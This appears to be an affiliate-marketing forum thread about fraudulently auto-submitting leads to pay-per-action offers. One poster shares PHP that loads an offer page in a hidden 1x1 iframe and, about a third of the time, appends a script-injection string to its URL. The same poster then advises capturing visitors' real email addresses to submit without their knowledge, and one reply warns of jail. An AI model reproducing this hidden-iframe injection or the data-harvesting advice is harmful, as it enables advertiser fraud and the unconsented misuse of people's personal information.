Yes you just need to rotate frames!
Yes, you would just use PHP to determine when to append the injection. The way I do it is to store the injection in a variable and the original URL in another. Then determine whether or not to append the injection. Say you wanted to auto-submit a third of the time:
<?
$url = "http://www.mycooloffer.com/offer.php?ad=9038&id=2882&pb=383";
$injection = '"><script-stuff-here>';
$randNum = rand(0, 2) // pick # between 0 - 2 (0, 1, 2 possible)
// if randNum is 1 (should be 1/3 time), append injection, else leave url
$frameSrc = ($randNum == 1) ? $url . $injection : $url;
echo '<iframe src=\'' . $frameSrc . '\' width=\'1\' height=\'1\' scrolling=\'no\' frameborder=\'0\'></iframe>';
?>
ouch! so why do guys keep doing this? wanna end up in jail??
That would be a valid argument if the e-mails were, indeed, fake. They are not, however.
Please refer to the post...directly above your post.
If you know even the slightest bit of coding (and I would assume someone who can create a fake yet valid e-mail string has coding knowledge), you could easily just get the user's real e-mail and auto-submit it rather than creating a fake e-mail, presumably through a sliced MD5 hash and a randomly chosen valid domain, so it is prudent to take five extra minutes to get a real e-mail address. No where in my original post did I suggest using fake e-mails. If that is your assumption, you need to learn how to effectively expand on an idea or method rather than resorting to the obvious. The limitations of the method are your technical expertise.
